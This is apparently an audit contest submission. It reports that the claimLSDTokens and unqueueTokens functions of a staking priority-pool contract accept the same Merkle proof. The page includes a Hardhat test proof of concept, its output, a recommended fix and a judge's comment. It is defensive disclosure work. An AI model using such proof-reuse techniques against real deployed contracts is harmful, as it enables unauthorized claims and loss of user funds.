Submission Details
Severity:
Cross-function Merkle Proof Usage Vulnerability
Summary
Cross-function Merkle Proof Usage Vulnerability
Vulnerability Details
In the current smart contract implementation, the claimLSDTokens and unqueueTokens functions may use the same Merkle tree structure and verification logic. This could allow a Merkle proof generated for one function to be used to call the other function, potentially leading to unauthorized operations or potential fund loss.
An attacker could potentially use a valid Merkle proof generated for unqueueTokens to call the claimLSDTokens function, or vice versa. This could result in unauthorized token claims or unqueuing operations, potentially leading to fund loss or inconsistent contract state.
function claimLSDTokens(
uint256 _amount,
uint256 _sharesAmount,
bytes32[] calldata _merkleProof
) external {
address account = msg.sender;
bytes32 node = keccak256(
bytes.concat(keccak256(abi.encode(account, _amount, _sharesAmount)))
);
if (!MerkleProofUpgradeable.verify(_merkleProof, merkleRoot, node)) revert InvalidProof();
// ... subsequent code ...
}
Impact
poc
// file: test/core/priorityPool/priority-pool.test.ts
it('unqueueTokens should work correctly', async () => {
const { signers, accounts, adrs, pp, token, stakingPool, strategy } = await loadFixture(
deployFixture
)
await pp.deposit(toEther(2000), true, ['0x'])
await pp.connect(signers[1]).deposit(toEther(500), true, ['0x'])
await pp.connect(signers[2]).deposit(toEther(500), true, ['0x'])
await strategy.setMaxDeposits(toEther(1500))
await pp.depositQueuedTokens(toEther(100), toEther(1000), ['0x'])
await expect(pp.unqueueTokens(toEther(1501), 0, 0, [])).to.be.revertedWithCustomError(
pp,
'InsufficientQueuedTokens()'
)
await pp.connect(signers[1]).unqueueTokens(toEther(100), 0, 0, [])
assert.equal(fromEther(await pp.totalQueued()), 1400)
assert.equal(fromEther(await token.balanceOf(accounts[1])), 9600)
assert.equal(fromEther(await pp.getQueuedTokens(accounts[1], 0)), 400)
let data = [
[ethers.ZeroAddress, toEther(0), toEther(0)],
[accounts[0], toEther(300), toEther(300)],
[accounts[1], toEther(150), toEther(150)],
[accounts[2], toEther(50), toEther(50)],
]
let tree = StandardMerkleTree.of(data, ['address', 'uint256', 'uint256'])
await pp.pauseForUpdate()
await pp.updateDistribution(
tree.root,
ethers.encodeBytes32String('ipfs'),
toEther(500),
toEther(500)
)
await expect(
pp
.connect(signers[1])
.unqueueTokens(toEther(50), toEther(151), toEther(150), tree.getProof(2))
).to.be.revertedWithCustomError(pp, 'InvalidProof()')
await expect(
pp
.connect(signers[1])
.unqueueTokens(toEther(50), toEther(150), toEther(151), tree.getProof(2))
).to.be.revertedWithCustomError(pp, 'InvalidProof()')
await expect(
pp
.connect(signers[1])
.unqueueTokens(toEther(50), toEther(150), toEther(150), tree.getProof(1))
).to.be.revertedWithCustomError(pp, 'InvalidProof()')
await expect(
pp.unqueueTokens(toEther(50), toEther(150), toEther(150), tree.getProof(1))
).to.be.revertedWithCustomError(pp, 'InvalidProof()')
await pp
.connect(signers[1])
.unqueueTokens(toEther(50), toEther(150), toEther(150), tree.getProof(2))
assert.equal(fromEther(await pp.totalQueued()), 1350)
assert.equal(fromEther(await token.balanceOf(accounts[1])), 9650)
assert.equal(fromEther(await pp.getLSDTokens(accounts[1], data[2][2])), 150)
assert.equal(fromEther(await pp.getQueuedTokens(accounts[1], data[2][1])), 200)
console.log(await stakingPool.balanceOf(accounts[1]))
await pp.connect(signers[1]).claimLSDTokens(toEther(150), toEther(150), tree.getProof(2))
console.log(await stakingPool.balanceOf(accounts[1]))
})
// output
PriorityPool
✔ deposit should work correctly (481ms)
✔ deposit should work correctly with queued withdrawals
✔ depositQueuedTokens should work correctly (78ms)
✔ checkUpkeep should work correctly
✔ performUpkeep should work corectly (73ms)
✔ getAccountData should work correctly
✔ updateDistribution should work correctly
✔ claimLSDTokens should work correctly (51ms)
0n
150000000000000000000n
✔ unqueueTokens should work correctly (41ms)
✔ withdraw should work correctly
✔ withdraw should work correctly with queued withdrawals
✔ withdraw should work correctly with queued tokens (40ms)
✔ canWithdraw should work correctly
✔ onTokenTransfer should work correctly
✔ executeQueuedWithdrawals should work correctly
Tools Used
vscode
Recommendations
Include a function identifier in the Merkle node calculation:
bytes32 node = keccak256(
bytes.concat(keccak256(abi.encode("claimLSDTokens", account, _amount, _sharesAmount)))
);
Updates
Lead Judging Commences
inallhonesty 12 months ago
Submission Judgement Published Assigned finding tags:
Same merkle proof used for `claimLSDTokens` as well as `unqueueTokens`
It does concern different variables. But using the same merkle inside 3 different functions is not a good practice. Nonces, separators and safety.
Prize pool breakdown
Total prize
50,000 USDC
nSLOC
2,53020 USDC / LOC
42,000 USDC
4,250 USDC
3,750 USDC
Live
The contest is live. Earn rewards by submitting a finding.
Appeals
This is your time to appeal against judgements on your submissions.
Appeals Review
Appeals are being carefully reviewed by our judges.